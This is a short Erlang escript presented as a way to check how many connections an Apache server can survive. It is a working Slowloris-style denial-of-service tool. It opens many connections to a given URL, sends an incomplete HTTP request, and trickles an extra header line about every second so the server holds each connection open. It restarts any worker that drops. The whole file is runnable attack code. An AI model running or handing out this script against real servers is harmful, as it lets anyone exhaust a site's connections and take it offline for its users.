Script to check how many connections can Apache server survive

apache.erl

#!/usr/bin/env escript

-mode(compile).
-compile(export_all).


main([]) -> io:format("Usage: ~s URL [Count=1000]~n", [escript:script_name()]);
main([URL]) -> main([URL,"100"]);
main([URL,C] ) -> manage_workers(URL, [start_worker(URL, N) || N <- lists:seq(1,list_to_integer(C))]), ok.


manage_workers(URL, Workers) ->
  receive
    {'DOWN', _, _, Pid, _} ->
      {value, {N,Pid}, W1} = lists:keytake(Pid, 2, Workers),
      io:format("Down worker ~p~n", [N]),
      timer:sleep(500),
      manage_workers(URL, [start_worker(URL, N)|W1])
  end.

start_worker(URL, N) ->
  {ok, Pid} = proc_lib:start(?MODULE, init_request, [URL, N]),
  erlang:monitor(process, Pid),
  {N,Pid}.


init_request(URL, N) ->
  try run_long_request(URL, N) of
    A -> A
  catch
    Class:Error ->
      error_logger:format("~s:~s~n~p~n", [Class, Error, erlang:get_stacktrace()])
  end.

run_long_request(URL,N) ->
  io:format("Worker ~p on ~s~n", [N, URL]),
  proc_lib:init_ack({ok, self()}),
  {ok, Socket} = try_connect(URL),
  send_long_headers(Socket, N).

try_connect(URL) ->
  {ok, {_, _, Host, Port, Path, []}} = http_uri:parse(URL),
  case gen_tcp:connect(Host, Port, [binary, {recbuf, 10}]) of
    {ok, Socket} -> 
      ok = gen_tcp:send(Socket, ["GET ", Path, " HTTP/1.1\r\n"
      "Host: ", Host, "\r\n"  
      ]),
      {ok, Socket};
    {error, econnrefused} ->
      timer:sleep(1000),
      try_connect(URL)
  end.
  
  

send_long_headers(Socket, N) ->
  case gen_tcp:send(Socket, ["X-Header-", integer_to_list(random:uniform(100)), ": value\r\n"]) of
    ok -> timer:sleep(990), send_long_headers(Socket, N);
    {error, Reason} -> io:format("Closed (~B): ~p~n", [N, Reason])
  end.